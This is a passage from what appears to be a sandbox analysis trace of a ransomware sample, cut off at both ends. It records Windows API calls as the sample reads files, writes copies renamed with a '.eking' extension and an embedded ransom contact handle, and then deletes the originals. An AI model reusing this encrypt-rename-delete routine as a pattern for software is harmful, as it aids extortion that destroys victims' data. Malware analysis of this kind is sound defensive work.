shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0290.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0290.829] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0290.829] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0290.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0290.830] ReadFile (in: hFile=0x310, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x5080, lpOverlapped=0x0) returned 1 [0290.834] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x5090, lpOverlapped=0x0) returned 1 [0290.835] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x102, lpOverlapped=0x0) returned 1 [0290.836] CloseHandle (hObject=0x310) returned 1 [0290.836] CloseHandle (hObject=0x2f0) returned 1 [0290.836] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1 [0290.838] SetEvent (hEvent=0x2a0) returned 1 [0290.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0290.838] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=100488) returned 1 [0290.838] CloseHandle (hObject=0x2f0) returned 1 [0290.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0290.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0290.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0290.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0290.839] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0290.839] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0291.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0291.086] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x18888, lpOverlapped=0x0) returned 1 [0292.150] WriteFile (in: hFile=0x308, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x18890, lpOverlapped=0x0) returned 1 [0292.158] WriteFile (in: hFile=0x308, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x102, lpOverlapped=0x0) returned 1 [0292.158] CloseHandle (hObject=0x2f0) returned 1 [0292.158] CloseHandle (hObject=0x308) returned 1 [0292.158] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0292.161] SetEvent (hEvent=0x2a0) returned 1 [0292.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0292.162] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=17048) returned 1 [0292.162] CloseHandle (hObject=0x308) returned 1 [0292.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0292.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0292.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0292.163] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0292.163] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0292.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0292.167] ReadFile (in: hFile=0x308, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x4298, lpOverlapped=0x0) returned 1 [0292.218] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x42a0, lpOverlapped=0x0) returned 1 [0292.220] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0292.220] CloseHandle (hObject=0x308) returned 1 [0292.220] CloseHandle (hObject=0x2f0) returned 1 [0292.220] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0292.226] SetEvent (hEvent=0x2a0) returned 1 [0292.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.227] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=22680) returned 1 [0292.227] CloseHandle (hObject=0x2f0) returned 1 [0292.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0292.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0292.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.228] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0292.228] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0292.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0292.229] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x5898, lpOverlapped=0x0) returned 1 [0292.329] WriteFile (in: hFile=0x308, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x58a0, lpOverlapped=0x0) returned 1 [0292.332] WriteFile (in: hFile=0x308, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0292.332] CloseHandle (hObject=0x2f0) returned 1 [0292.332] CloseHandle (hObject=0x308) returned 1 [0292.333] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0292.335] SetEvent (hEvent=0x2a0) returned 1 [0292.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0292.336] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2702) returned 1 [0292.336] CloseHandle (hObject=0x308) returned 1 [0292.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0292.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0292.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe" (normalized: "c:\\program files\\common files\\skype.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0292.337] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=80384) returned 1 [0292.337] CloseHandle (hObject=0x308) returned 1 [0292.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe" (normalized: "c:\\program files\\common files\\skype.exe")) returned 0x20 [0292.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe" (normalized: "c:\\program files\\common files\\skype.exe")) returned 0x20 [0292.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\skype.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe" (normalized: "c:\\program files\\common files\\skype.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0292.338] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0292.338] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0292.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\skype.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0292.342] ReadFile (in: hFile=0x308, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x13a00, lpOverlapped=0x0) returned 1 [0292.347] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x13a10, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x13a10, lpOverlapped=0x0) returned 1 [0292.350] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0292.350] CloseHandle (hObject=0x308) returned 1 [0292.350] CloseHandle (hObject=0x2f0) returned 1 [0292.350] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe" (normalized: "c:\\program files\\common files\\skype.exe")) returned 1 [0292.353] SetEvent (hEvent=0x2a0) returned 1 [0292.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.355] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=14856) returned 1 [0292.355] CloseHandle (hObject=0x2f0) returned 1 [0292.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0292.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0292.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.357] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=15195) returned 1 [0292.357] CloseHandle (hObject=0x2f0) returned 1 [0292.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0292.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0292.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.358] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=17920) returned 1 [0292.358] CloseHandle (hObject=0x2f0) returned 1 [0292.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0292.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0292.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.359] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2560) returned 1 [0292.359] CloseHandle (hObject=0x2f0) returned 1 [0292.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0292.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0292.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.360] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1233920) returned 1 [0292.360] CloseHandle (hObject=0x2f0) returned 1 [0292.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0292.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0292.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0292.362] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=50688) returned 1 [0292.362] CloseHandle (hObject=0x2f0) returned 1 [0292.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0292.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0292.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0292.362] CreateFileW 